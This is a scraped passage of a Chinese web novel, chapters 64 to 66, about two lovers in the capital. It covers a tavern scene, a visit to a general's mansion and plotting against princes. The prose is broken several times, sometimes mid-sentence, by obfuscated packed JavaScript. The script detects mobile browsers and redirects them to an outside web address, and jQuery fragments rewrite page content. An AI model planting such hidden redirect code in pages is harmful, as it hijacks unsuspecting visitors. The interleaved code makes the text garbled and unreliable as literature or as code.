0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849794|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,楼内也燃起了烛火,所以就算是天色已晚,楼里依旧酒客络绎不绝,不见半点冷清。 京城不愧是京城,醉仙楼不愧是京城的醉仙楼,才踏进酒楼,方隐攸便觉得自己像是入了仙境。 楼中萦绕着一股清香,似花香又似酒香,闻起来令人感觉身体舒畅,还未饮酒就有些微醺。 一楼大堂中央摆着一个硕大的圆鼓,上面有三个妙龄女子正在妖娆的扭动身躯,她们穿着薄如蝉翼的纱衣,摆动腰肢时灵活如蛇,看上去分外娇艳。 鼓旁边围着一圈圆桌,每张桌子上只坐两人,皆是披金戴玉的达官显贵,举止十分优雅。 在鼓后面的暗处坐着一排乐师,手里的乐器比方隐攸见过的兵器种类还繁复,难怪这楼里的乐曲如此悦耳。 酒楼二楼有许多雅间,柳扶斐与舒慕谨大概是这里的常客,小二直接将他们引出了一间名为月地云阶的雅间,然后便走了。 雅间很大,方隐攸并未仔细观察,只注意到屋内的屏风上绣着一匹栩栩如生的骏马,背上的马鬃根根分明,扬起的脖子肌肉线条分明,下踏的马蹄带着一股狠劲,仿佛要踩出屏风,落到屋内。 柳扶斐注意到方隐攸的视线,问道:“喜欢?” 方隐攸点点头,“不错。” “那搬回府,摆在我们屋里。” 刚坐下的舒慕谨闻言一愣,不可置信的望着柳扶斐,“同屋?你们这是已经苟且在一起了?” 柳扶斐眼神一凛,抬脚直接踹飞他座下的椅子。 “什么叫苟且?我与他是名正言顺!两情相悦,你个狗嘴里吐不出象牙的东西。” 舒慕谨冷不丁的摔坐在地上,疼的他忍不住龇牙咧嘴的指着柳扶斐骂道:“你个虚伪的狗东西,我就知道你一回来准没好事。” 柳扶斐朝他得意的撇撇嘴,捡起他落在地上的羽扇朝他扇了扇风,“莫气莫气,本就是个痨病鬼,小心当真一命呜呼了。” 舒慕谨咬牙切齿的瞪着他,细长的双眼是从来没有过的大,站在一旁的丞京语蹲到他身边,将人扶了起来,然后带着几分埋怨的望着柳扶斐。 “公子,他本就身子不好,你为何还要故意欺负他?” 柳扶斐一听,瞬间往后撤一步,躲到方隐攸身后,将下巴压在他肩膀上,委屈巴巴的喊道:“方隐攸,方大侠,你看,他们两人合起伙来欺负我一个人,你可要为本公子做主啊!” 说着,他还装模作样的在方隐攸的肩膀上擦了擦并没有的眼泪的眼角,活脱脱一副惹人怜的柔弱模样。 方隐攸看向正在揉侧臀的舒慕谨,有些尴尬的朝他笑了笑,然后转身扯过柳扶斐,压着嗓子警告:“你快去给他赔罪!你忘了,我们还需要他帮忙打探太子的消息!” 柳扶斐撇撇嘴,视线越过他和舒慕谨相对,两人都看清了彼此眼中的戏谑。 “当真要向他赔罪吗?”柳扶斐躬下身子,望着方隐攸的眉眼,语气委屈道:“可是,明明是他先出言不逊的...” “你就当是先哄着他,等到我救出宇周了,我们再找他算账?” 说着,方隐攸握住柳扶斐的手腕轻轻捏了捏,声音婉转的哄劝,“柳兄,帮帮我?” 柳扶斐整个人瞬间变得畅快,像是喝了一坛醉仙酿,整个人都变得飘飘然起来,他毫不犹豫的朝着舒慕谨举手作揖。 “方才多有得罪,舒兄莫怪。” 虽是行着赔罪的举止,柳扶斐的眉眼、嘴角却是压制不住的笑意,他一说完立刻朝着方隐攸邀功似的挑挑眉,“满意吗?” 64.佞臣 方隐攸抬手将他拉倒身后,然后看向舒慕谨,“他已经赔罪了,你们既然是好友,这事就算了吧?” 舒慕谨将衣襟捋平,又掸了掸衣袖,随后倚坐在椅子上,十分矜持的点点头,“那我便不与他计较了吧。” 说完,他抬手指了指长桌对面,朝方隐攸示意,“坐吧。” 方隐攸牵着柳扶斐在他对面坐下,丞京语坐在了舒慕谨身侧。 舒慕谨笑着看向柳扶斐,“柳扶斐,我既然说好了今日请你喝酒,就必然要与你不醉不归。说吧,今日想喝什么?” 柳扶斐并未理他,而是看向方隐攸,“这醉仙楼里醉仙酿最佳,除此之外还有上好的竹叶青和波斯来的果子酒,你要不要都尝尝?” 方隐攸点点头,说道:“再来几盘卤肉,只喝酒不行。” 柳扶斐看向舒慕谨,“听到了吧?按他说的来。” 舒慕谨拍拍手,招来侍从吩咐了下去。 酒和菜很快就送了上来,柳扶斐和舒慕谨喝酒都含蓄,习惯用小杯慢饮,方隐攸和丞京语则不同,直接拿酒碗大口牛饮。 所以,才喝了半刻钟,就变作了方隐攸与丞京语坐在方桌上喝酒吃肉,方隐攸和丞京语则是倚在窗边品酒赏乐。 丞京语为方隐攸满上一杯猩红的果酒,然后手撑着桌子,凑到他面前,双眼发亮的问道:“方大哥,你此次在京城逗留多久?” 方隐攸喝一口酒,畅快的呼一口气,然后回道:“暂时还不能确定,怎么了?” “我...我...”丞京语涨红了脸,一双大眼睛眨巴许久,都没能说出接下来的话,鼻尖上还急出了一层细汗。 方隐攸放下酒碗,接过他的话,“你想跟我习武?” 丞京语忙不迭的点头,眼神希冀的望着他,“可以吗?”他搓了搓手,“不多叨扰方大哥,每三日指点我一次便可。” 柳扶斐的视线虽落在一楼大堂的舞姬身上,心思却一直放在方隐攸身上,丞京语刚说完,不等方隐攸回话,他便冷着脸看向了舒慕谨。 “你没告诉他我与隐攸回京是为何事?哪里有闲工夫去指点他?” 舒慕谨无奈的摆摆手,“他是个武痴,年纪尚幼,哪里考虑得了那么多。” 说罢,他回首朝丞京语浅浅一笑,“阿丞,过来。” 丞京语不解的看着他,“做什么?” 舒慕谨朝他招招手,脸上的笑意加深,“过来。” 丞京语嘟囔一声,朝方隐攸歉意的笑了笑,起身朝着舒慕谨走去。 他一走,柳扶斐立刻占了他的位置。 柳扶斐放下手里的酒杯,夹了一筷子卤牛肉放到方隐攸面前的盘中,等到他吃完以后才说道:“不用理他,先解决宇周的事。” “他应当不仅仅是你的侍卫这么简单吧?” “他爹跟着我爹打了十几年的战,最后为救我爹而死,他娘因此郁郁而终,我爹便将他养在了将军府里,也算是我半个弟弟。” 方隐攸端起酒碗喝了一口,酸涩的味道让他忍不住啧了啧嘴。 “那便教教吧。”方隐攸将酒碗推给柳扶斐,“这个果酒不好喝。” 说完,他拿起旁边的一坛醉仙酿,拍了拍坛壁,“这个不错。” 柳扶斐得意的哼了哼,“我还能骗你不成,我府里也有许多醉仙酿,保管你喝个够。” 柳扶斐将他未喝完的果酒一口饮尽,然后将空碗还给他。 方隐攸在碗中倒下满碗的醉仙酿,仰头一口喝尽,然后又吃了几大口牛肉。 柳扶斐看着他满足的神色和放松的姿态,嘴角不自禁的扬起一抹浅笑,他抬手撑住下巴,眼神灼灼的盯着方隐攸。 “这么看着我做什么?” 柳扶斐但笑不语,端起酒杯抿了一口酒,眼神变得越发缱绻。 方隐攸又喝下一碗酒,打了个大大的酒嗝。 忽然,楼下传来一声惊呼,随后便是喧杂的哭闹声,还有几声男人的呵斥声。 方隐攸放下手中的碗,起身走到窗边,将头伸了出去。 楼下巨鼓上的舞姬不知为何已经跑下来了,一人藏在堂中立柱后面,一人用衣袖挡住脸,蹲在鼓旁,还有一人正躺在地上,一个男人压坐在她的身上,手正往舞姬裸露在外的肌肤上探去。 方隐攸脸色一变,立刻回身从桌子上拿起一根筷子想要掷向那个人的手。 柳扶斐却忽然一把握住了他的手腕,朝他摇了摇头,然后示意他看舒慕谨。 舒慕谨直接将手中的酒杯朝着那个男人的头顶狠狠一扔,砸的他立刻捂住头嗖的一下站了起来,然后怒不可遏的回身望向二楼雅间的窗户。 方隐攸板着脸,纳闷的打量着楼下的男子。 这人样貌生的十分端正,穿的也讲究,就是不知道为什么行为这么的粗鄙,要知道欺辱女子是他们这种江湖歹徒都耻于做的卑劣行径。 舒慕谨用羽扇挡住下半张脸,眉眼带笑的望着男人,笑嘻嘻的问道:“张侍郎这是要纳第四房妾了?” 张侍郎这时候也已经看清了窗边站着的人是舒慕谨,立刻收敛了脸色的怒气,醉意熏天的眼神瞬间变得清明。 他踌躇片刻,最后朝着舒慕谨举手作揖,笑道:“好巧,舒大人竟然也在此。” 舒慕谨摇摇扇子,“不巧不巧,我常来此。” 说着,他用扇子点了点躺在地上的舞姬,“你能得到侍郎的垂怜,是福气,哭哭啼啼的做什么?” 舞姬缓缓爬了起来,面朝舒慕谨跪下,以手捂面,哭的委屈又压抑,整个身躯都在颤抖。 方隐攸不解的看着柳扶斐,“他这是在帮谁?” 柳扶斐安抚的拍拍方隐攸的肩膀,“不急。” “还是说,你不愿做侍郎的妾?” 舞姬闻言红着眼望着舒慕谨,她并不知晓此人的身份,但是却也看出来这张侍郎是惧他的,于是立刻往前一步,头用力的磕在地上,嚎啕一声,喊道:“大人,小女不愿!” “小女卖艺不卖身,以舞艺养活自己,过的自在,不愿为妾。” 舞姬愤恨的望向张侍郎,“他虽为官,但却行如此粗莽之事,小女着实厌弃,自然不愿入他宅院!” 舒慕谨闻言呵呵一笑,“他为官你为民,他要留你,哪里轮得到你说愿与不愿?” 舞姬一脸,脸色霎时间变得惨白,不可置信的望着楼上的舒慕谨,“大人...你...” 舒慕谨并未理会他,继而看向张侍郎,“张侍郎打算将良辰吉日定在何时?到时候我也好前去祝贺。” 张侍郎闻言却是连连后退,摆着手说:“误会误会,我就是一时喝醉了酒,做了鲁莽之事。” 说罢,他从怀里掏出几锭银子递给舞姬,“刚刚多有冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856122|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯,这些银子便权当赔罪了。” 舞姬惊愕的看着眼神的一幕,吓得将手往后一缩,银子便落在了地上。 舒慕谨用羽扇挡住脸,轻笑出声,“原来是场误会,只是可惜了一段好姻缘呐。” 张侍郎尴尬的呵呵一笑,也不管地上的银子了,朝着舒慕谨拜了拜,然后直接往楼外走去。 方隐攸满脸不解的看向柳扶斐,柳扶斐于是将人引到桌边与他并肩坐下,仔细的向他解释。 “太后去年腊月薨了,她乃是当今圣上的生母,圣上下令满朝文武百官皆需为太后守孝三月,不可宴请、婚嫁。如今还有半月孝期才过,他哪里敢忤逆皇命真的谈纳妾之事。” “可是...”方隐攸纳闷的皱起眉,“我看那个什么侍郎也并不是想要娶妾...他明明是想要强占了那个舞姬!” “他如何想的不重要,舒慕谨说他要娶那便是娶,只要他今日将人带出酒楼,明日他头顶的乌纱帽就不保。” 眼看着方隐攸眉头越锁越深,柳扶斐抬手轻按住他的眉心,笑道:“还有什么不理解的吗?” “舒慕谨位高权重,为什么不直接让那个侍郎放了舞姬呢?” 柳扶斐闻言失笑一声,“因为他是个佞臣,自己也常做这些为人所不齿的勾当。” “他既然能做,旁人凭何不能?” 方隐攸闻言一惊,下意识的朝着舒慕谨望去。 舒慕谨却十分坦然的朝他微微一笑,手中的羽扇摇得轻快。 “他在胡言乱语。”舒慕谨横一眼柳扶斐,“什么佞臣不佞臣的,圣上可是亲口说过,我舒慕谨是大境不可或缺的能臣!” 柳扶斐假惺惺的笑了一声,手搭在方隐攸的椅背后面,视线轻飘飘的落在舒慕谨身上。 “舒宰相是大境朝堂的中流砥柱,尊贵显赫。” 柳扶斐的视线滑到舒慕谨身侧的丞京语身上,语气变得揶揄,“京语,听到了吗?舒宰相肩上的胆子重的很,你没事少往他府上跑。” 丞京语乖巧的点点头,嘴里的好字还没说出口就被舒慕谨捂住了嘴。 舒慕谨十分不满的用羽扇轻拍了几下他的额头,“你有听清楚他说的是什么狗屁东西吗?你就应好?” 柳扶斐啧啧嘴,“堂堂宰相,说话怎么如此粗鄙。” 丞京语眨眨眼,拉下舒慕谨的手,眼神真诚的点点头,“我听到了,慕哥哥。” “那你还点头?” “因为我觉得公子说的很对,慕哥哥有更重要的事情做,不该一直陪着我胡闹。” 丞京语说的十分诚恳,说完以后还朝柳扶斐感激一笑,“多谢公子提醒我。” 舒慕谨板着脸走到桌边桌下,饮下一杯果酒。 丞京语见状连忙跟了过来,紧紧的贴着他坐下,满眼的不解。 “慕哥哥,你怎么了?” “没怎么。” 说完,舒慕谨仰头又喝了一杯酒。 方隐攸的视线在两人身上流转,在桌下轻轻扯了扯柳扶斐的衣袖,在他朝自己看过来时,无声的问道:“没事吧?” 柳扶斐安抚的拍拍他的手背,凑到他耳边悄声道:“他们两人常常如此。” 方隐攸点点头,端起面前的酒碗朝他示意,“喝酒。” 柳扶斐端起酒杯轻碰碗壁,发出一声脆响。 “喝酒。” 65.所爱不移 几人从醉仙楼出来时夜已经深了,但是街头的行人却并不见少,反倒是比天刚黑时还要热闹。 而且不时还有许多身披铠甲、手持长枪的官兵在街上巡逻。 方隐攸喝的头脑发昏,眼神迷蒙的望着街对面的一家书铺,隐约间竟然看到了崔清止的身影,再定眼一看,却发现并不是他。 方隐攸长呼一口气,侧过头看向柳扶斐,“他们呢?” “回去了。” “回哪里?” 柳扶斐嘴角扬起一丝偷笑,他伸手揽住方隐攸的肩膀,凑到他耳边悄声道:“自然是回他们的家。” 方隐攸眼神疑惑的望着他,“那舒慕谨哪里来的脸说我们苟且?” “他脸皮厚的很。” 两人一路上说着些胡话,慢慢悠悠的朝着将军府走去。 将军府远离闹市,临近一条宽敞的大街,街上有几间书铺、花鸟圃、茶楼,都是些高雅的行当。 府前有两尊石狮子,狮口大开露出里面的獠牙,凶狠威武。 而站在石狮子前面的高壮男人却更加的威武,身侧小厮手中的灯笼自下而上照着他的面容。 胡须垂至胸前、颧骨凸起、鼻梁笔挺、眉骨高耸、双眼隐在阴影里,让人看不清他的神色。 方隐攸立刻止步,握紧手中的可生剑,警惕的打量着他。 柳扶斐察觉到他的反应,立刻安抚的拍了怕他的肩膀。 “他是我爹。” 说罢,他朝着对面的男人埋怨一句,“爹,不是说了不用出来迎接吗?” 柳桢淞往前一步,走到檐下灯笼的光里,整张脸都露了出来。 方隐攸这才发觉眼前这人的眼里是含着笑的,望过来的视线也并不具有侵略性,反倒是有几分的亲和。 “我迎的是你吗?我迎的是小方!” 柳桢淞看向方隐攸,眼中的笑意落到实处,嘴角扬了起来,大手往方隐攸面前一招,示意他过去。 方隐攸闻言一愣,眼神不可置信的睁大。 小方? 方隐攸抿了抿唇,心里的警惕已经消散,他往前一步,朝着柳桢淞抱拳,“在下方隐攸,见过前辈。” 柳桢淞闻言一愣,他听惯了别人叫他将军,这还是第一次被人称呼为前辈,倒觉得有几分新奇。 “我已知晓你的身份,你见我无需感觉到局促。”说着,他手往柳扶斐一指,“这小子早已经写信叮嘱过我了。” 方隐攸了然的点点头,一时之间不知道该如何应对柳扶斐的爹才是妥当。 柳扶斐上前一步,与他并肩而立。 “爹,我与隐攸赶了几天的路,已经很累了,你就别在说这些有的没的了。” 柳桢淞抬手摸一把长须,点点头,“也是。”他看向方隐攸,“小方啊,这几日辛苦了。” 说罢,不等方隐攸反应,他忽然一脚踹向柳扶斐,“你这小崽子,回京了不回府,反倒去醉仙楼里鬼混,当真是无法无天了!” 柳扶斐轻巧的躲过,然后藏到方隐攸背后,半张脸露出方隐攸的肩头,笑道:“爹,隐攸还在呢,你给我留点面子吧。” 柳桢淞看向方隐攸,“小方啊,你不知道,扶斐——诶——” 柳桢淞话还没说完,柳扶斐就嗖的一声跑到他身后,手撑住他肩膀将人往府里推,“爹,不早了,你明日还需要入宫当值,快些去休息吧。” 柳桢淞板着脸哼一声,回头看向方隐攸,语气无奈的说到:“小方,那咱们有机会再聊。” 方隐攸笑着点点头,看着他的身影隐入黑暗。 柳扶斐确定他爹是真的离开后,从怀里掏出来一块令牌模样的东西递到方隐攸面前。 借着灯光和月光,方隐攸看清了上面纂刻的一个大大骠字。 “这是?” “我爹的令牌。”柳扶斐将令牌放到方隐攸手里,笑道:“他刚刚给我的,怕直接给你让你感觉到不自在,所以由我来给你。” 方隐攸的手指微动,细细的摩挲着令牌。 “给我令牌做什么?” “我知道你生性洒脱,这京城又在天子脚下,无论是做什么你都会处处受限。”柳扶斐看向令牌,“有了这个东西,你就当这里是大境随便哪个州县,想做什么就做什么。” 柳扶斐说完往前一凑,盯着他的眉眼缓缓道:“再有醉仙楼中的事情,你想出手就出手,拿着这块令牌,无人再敢拿京城的这套规矩来约束你。” 方隐攸闻言一愣,下意识的握紧令牌。 “你爹...也愿意将这个令牌给我?” 柳扶斐嘿嘿一笑,抬手摸了摸自己的脸,得意的将五官在方隐攸面前反复展示。 “我爹还指望着看着我的这张脸怀恋我娘呢,但凡我要做的事,他就没有不同意的。” 方隐攸看着他的赤色的唇,张张合合间露出里面莹白的牙齿,不期然的,方隐攸忽然抬手捏住他的下巴,然后将人拉倒跟前。 柳扶斐惊得睁大双眼,眼睑快速抖动,眼中的激动与欣喜在昏暗光线里依旧一览无余。 方隐攸的拇指缓缓摩挲,嘴角扬起一抹若有若无的笑意。 “柳兄——” 方隐攸的尾音上扬到一个可以称得上蛊惑的地步,带着一丝调笑与捉弄,他继续道:“你将我们之间的约定都告诉你爹了?” 柳扶斐被柳兄二字勾的失了魂,毫不迟疑的点点头,还补充一句,“说了,而且我告诉他,若是不应我的要求,我便与你一起仗剑天涯,再也不回将军府了。” 方隐攸的眼神瞬间变得莫测,他呵呵一笑,捏住柳扶斐的下巴将人往后用力一推,在他错愕的眼神中狠狠的瞪了他一眼。 柳扶斐脸色的笑意僵住,神色变得无措起来。 方隐攸用剑鞘底部抵住他的前肩,“这难道是什么光彩的事情吗?你也好意思到处宣扬?” 柳扶斐闻言变得激动,“当然光彩!两个相爱的人终成眷属,难道不值得宣告世人吗?” “方隐攸,你这话又是什么意思!” “你难道从来没有想过将你我之事告知亲朋长辈吗?” 方隐攸咽了咽嗓子,避开他质问的眼神,“我只是觉得...这是你我之间的事情,没必要弄得人尽皆知。” 柳扶斐轻哼一声,“等到你真的与我许下共赴鸿蒙之约时,我还要在闹市街头振臂高呼,让天底下所有人都知道我柳扶斐与方隐攸乃是天赐良缘!” 方隐攸沉默的看着柳扶斐,被他眼中的炽热的爱意惹得浑身发烫,他猛地一僵,有些惊慌的往后退了半步。 柳扶斐却并不给他后撤的机会,直接伸手揽住他的腰将人抱在怀里。 “你躲什么?” 方隐攸咽咽嗓子,有些迟疑的说到:“你不怕别人议论你吗?” “议论我什么?我柳扶斐心悦谁、要和谁在一起是我说了算的,管别人做什么?”柳扶斐的语气变得狂妄,“不过若是你介意,我也可以挖了那些长舌鬼的祖坟。” 方隐攸摇摇头,他将下巴压在柳扶斐的肩膀上,“我早就恶名远扬了。” “那你——” 柳扶斐瞬间反应过来,方隐攸在乎的从来不是自己的名声,而是他柳扶斐的名声。 一个京城贵公子和江湖匪徒纠缠在一起,着实上不得台面,该受万人耻笑。 柳扶斐抬手握住方隐攸的后颈,将他压向自己的脖颈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862228|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “方隐攸,我若是在意那些虚名,早就在察觉到自己对你生了情愫时一刀杀了你。” “也就不会被你断言是个善变之人。” “方隐攸,你且记好——十世古今,唯有恋君心,海枯终不移。” 柳扶斐侧过脸,用下颌线轻轻蹭着方隐攸的耳垂,柔软温暖的触感让他忍不住闭上了眼睛,语气变得暧昧不清。 “方隐攸,你承认吧,你心里也是有我的,不然不会考虑到这些。” 方隐攸沉默不语,任由他抱着自己。 他仔细的感受着眼下萦绕在自己周身的一种极为舒畅的感觉。 这种感觉他并不陌生,在并阳县的墓道里柳扶斐抱他那一次他就有同样的感受。 就像是酷暑难耐时被一汪清泉浸泡,亦或是寒冬腊月里被一床暖和的棉被裹紧,是足以让他头皮发麻的满足与幸福感。 方隐攸闭上眼,深深的呼一口气。 “柳扶斐,我的千两黄金呢?” 柳扶斐闻言一愣,他明明感觉到方隐攸的身边变得柔软,怎么落到耳朵里面的话却是如此的坚硬? 砸得他脑子发懵。 柳扶斐怀疑是自己听错了,“你刚刚说什么?” “你不是曾许诺,到了京城你便给我黄金千两?” 说着,方隐攸的手指着将军府的门匾,“那不是将军府三个大字吗?” 柳扶斐深呼几口气,咬牙切齿的说道:“你觉得现在说这话合适吗?” “你想赖账吗?” “本公子家财万贯,区区千两黄金算什么?”柳扶斐仰头轻嗤一声,“方隐攸,今夜我就让你看看什么叫做富可敌国!” 边说着,他边握紧方隐攸的手腕,将人带进了将军府,然后迅速的朝着后院走去。 将军府阔气,府里府外都挂着许多灯笼,长廊拐角处还摆着许多精致的瓷罐和金雕香炉。 难怪方隐攸一进将军府便觉得空气变得馥郁了起来。 柳扶斐眼下虽然气愤,但是手却并未放开方隐攸,还会在拐角和台阶处停下速度,免得方隐攸摔了或是扭了。 方隐攸自然知道自己将柳扶斐惹生气了,但是在当时的情况下,他确实不知道该如何打破那个迤逦暧昧的氛围。 所以只能说了那么一句话——一句并不合时宜的话。 方隐攸第一次的深刻的认识到了自己的不识情趣。 “柳扶斐。” 柳扶斐立刻止步,沮丧的看向方隐攸。 方隐攸微微弯下腰,将脸凑到柳扶斐面前,眼神变得柔软而坦诚,然后在柳扶斐还没反应过来的时候,一手按在他的脑后,将人用力的贴向了自己。 柳扶斐惊得眼睛瞪得老大,他不可置信的眨了眨眼。 方隐攸的指腹按在柳扶斐的耳尖上,能清晰的感觉到他的耳尖迅速变得滚烫。 方隐攸的眉眼染上笑意,带着几分生涩的探出舌尖,轻轻触碰了一下方隐攸柔润的嘴唇。 柳扶斐用手按住自己快要从嘴里跳出来的心脏,整个人都开始变得酥麻起来。 他红着眼,一眨不眨的盯着方隐攸那双蛊惑而不自在的眼睛,瞬间便咬住了那一点笨拙的小东西,然后反客为主的亲自教导方隐攸—— 舔、吮、吸、含这几个字的真实含义。 等到两人终于气喘吁吁的分开时,方隐攸落在柳扶斐耳尖上的手顺势下滑,抚过他的侧脸,最后轻轻压在他的猩红唇肉上。 “方才,你说话时我就想吻你了。” “柳扶斐,你说得对,我心里是有你的。” “否则,我早就已经割下了你的头颅。” “而不是让你几次三番的冒犯我。” 66.帖子 第二日鸡鸣时分,躺在床上酣睡的柳扶斐忽然惊坐而起,他连鞋袜都没穿,赤着脚跑到床前不远处的软榻边。 睡在上面的方隐攸察觉到他的动静,并未睁眼看他,反倒是用手臂挡在额前,迷蒙的问道:“怎么了?” 柳扶斐蹲下来,双手握住榻沿,眼神灼灼的盯着他的睡颜。 方隐攸久久得不到回应,缓缓的睁开了眼睛,不期然的和他四目相对。 此时天色昏暗,柳扶斐的白皙的脸色蒙上一层冷光,看上去像是涂了釉的白瓷。 “起这么早做什么?” 柳扶斐有些忐忑的问道:“你还记得你昨夜说了什么吧?” 方隐攸无语的翻了一个白眼,轻拍一下他的手背,“我不痴不傻,为什么不记得。” 柳扶斐舒了口气,起身轻轻拍着胸脯。 “我方才做梦,梦见你不记得昨夜之事了。” 说罢,柳扶斐回到床边穿好鞋袜和外袍,然后再次凑到方隐攸榻边,“时辰尚早,你再睡会,我去练练鞭子。” 方隐攸嗯一声,翻过身来继续睡觉。 柳扶斐注意到他从枕头上倾泻而下悬在榻边的青丝,视线转向窗边方桌上的两根莲花发簪上,他走到桌边拿起白玉的那一根,转念一想后,他又换做了那根红玉的。 等到方隐攸醒来发现桌上只剩下白玉发簪时,没忍住轻笑一声,他捏住发簪在日光里细细打量一番,然后便抬手插在了发间。 柳扶斐住的院子很大,院中还有一个凉亭,摆着一个茶几和矮榻,方隐攸才走到凉亭中时,柳扶斐便回来了。 他正仔细的搓着手,穿的也不是什么正经的练功服而是一件素白长袍,头发半湿的垂在背后,那根红玉发簪被他衔在嘴里,衬得他的嘴唇更加红润。 柳扶斐一踏进院子里就注意到了方隐攸,脸上瞬间扬起笑容,然后跑进了凉亭,含糊的问道:“醒啦?饿不饿?” “不饿。” 方隐攸抬手接住他嘴中的发簪,抬眼看向他修长的双手。 柳扶斐注意到他的视线落在自己的手上,便将双手摊开递到他面前,手心还有未化开的白色膏脂。 “这便是我说的可让手不生茧的柔肤膏。” 说着,他将方隐攸的左手捧到手心缓慢摩挲,“感觉如何?” 他们两人的手都很大,手指也修长有力,只是方隐攸的手背上有些细小的伤疤,指腹粗糙、手心有厚厚的茧,而柳扶斐的手却十分细嫩,看上去白净又金贵。 眼下两人的手心都不再干燥,黏腻温润的触感让方隐攸下意识的想要挣脱,却被柳扶斐迅速的拽住。 “方隐攸,这可是十金一罐的好东西,躲什么?” 方隐攸的视线落在两人交错的指缝间,膏脂透出油光,软肉相互挤压,显得非常暧昧。 柳扶斐却仿佛当真只是想要与他分享软膏,轻轻柔柔的将他的两只手每一寸都仔细摩挲了个遍,最后还将他的手搭在自己掌心,仔细的欣赏了个遍。 柳扶斐的的拇指按住方隐攸食指上拿到浅色的疤。 “不错,再多用几次你这疤就会消了。” 方隐攸收回手,拇指揉搓着指节,淡淡道:“没必要。” 柳扶斐看向被方隐攸背到身后的手,无奈的抿了抿唇,只能不再纠结这个话题,转而从怀里掏出一个请柬递给方隐攸。 “舒慕谨在郊外庄子里设了宴席,也邀了几个皇子,我们可以借此机会好好探探他们的口风。” 方隐攸打开请柬看了一眼,上面字迹写的俊逸潦草,他勉强能认全,说的是邀请柳扶斐今日巳时前往南郊醉卧山庄一叙。 “你之前和钟季修还有太子打过交道吗?” “近几年都只见过几面,并未深交。”柳扶斐仔细回忆,“他们瞧不上我这种浪荡公子,从未正眼瞧过我。” 方隐攸狐疑的打量他一眼,终于反应过来了,问道:“你之前说你无官无职,又有权有势,是不是就像江湖中的隐姓埋姓,除了你自己再无人知晓?” “对。” 方隐攸哦一声,没有再继续追问。 “我是那个监督者。” 柳扶斐说着,将方隐攸带到屋内,自己在长桌前坐好,然后递给他一柄木梳,示意他为自己束发。 方隐攸并未拒绝,先将手中的发簪和可生剑递给他,然后接过木梳,开始为他梳发。 “准确的来说是藏于无人知晓处的监督者,我的主上只有当今圣上。” 方隐攸梳发的动作一顿,油光水滑的发丝从他指尖滑落,只剩下零星几根还挂在上面。 柳扶斐注意到方隐攸的反应,反手轻轻拍了拍他的侧腿,继续道:“我幼时曾在宫中住过一段时间,圣上待我极好。” “所以给了我监督百官的权力,若他们有过,我可以依法处置,无需禀报圣上。” 方隐攸一个江湖中人,并不知晓柳扶斐就算是将军之子也没有尊贵到能住皇宫,所以并未多问。 而是问道:“若是钟季修或者太子违律,你也可以这样吗?” 柳扶斐的视线越过窗户,看着院中的一株还未开花的牡丹,语气变得诡异。 “天子犯法与庶民不同罪,皇子亦是如此。” “除了——谋逆罪。” 方隐攸将柳扶斐的头发规整的半束在头顶,然后将属于自己的那根红玉发簪插在里面。 柳扶斐回过头来看他,“无论是太子还是钟季修抓走了宇周,想要让他放人,便只有一个办法。” “让他们成为逆贼,惹怒了圣上,夺了他们尊贵的身份,我们便可为所欲也。” 方隐攸惊讶的看着他,“他们谋不谋逆难道是你我说了算的吗?” “或者说,你是栽赃嫁祸?” 柳扶斐轻笑一声,起身看着方隐攸,“朝堂中的事我自有办法,里面的手段腌臜,就不与你细说了。” 方隐攸闻言不满的看向他,救的是他胞弟,怎么可以全假他人之手呢? 柳扶斐注意到方隐攸的神色,“当然,其中许多地方都得你亲自出马,本公子勉强算是个出谋划策的军师。” 方隐攸满意的点点头,“好,我行事不够周全,对京城又不熟悉,容易误事。你诡计多端,又是朝堂中人,此次我便按你说的做,绝对不会莽撞坏事。” 柳扶斐不知他这话究竟是贬还是夸,有些尴尬的咽了咽嗓子。 “你想如何都行,你该张扬。”柳扶斐凑近方隐攸,“你无需过于谨慎,就算是捅出了天大的篓子,我也会为你处理好一切的。” “不然,要我这军师有何用。” 忽然,院门被敲响,两人同时朝屋外看去,便看到丞京语正站在院外朝他们招手。 柳扶斐朝他颔首示意,他立刻笑着跑了进来。 “公子!方大哥!我回来啦!” 方隐攸疑惑的看着丞京语,问道:“你受伤了?” 丞京语闻言脚步猛地顿住,满脸通红的望着方隐攸,表情十分尴尬。 “方大哥...我没有受伤。” “那你为何跑的如此怪异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868787|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”方隐攸指向他的胯部,“耻骨可有不适了?” 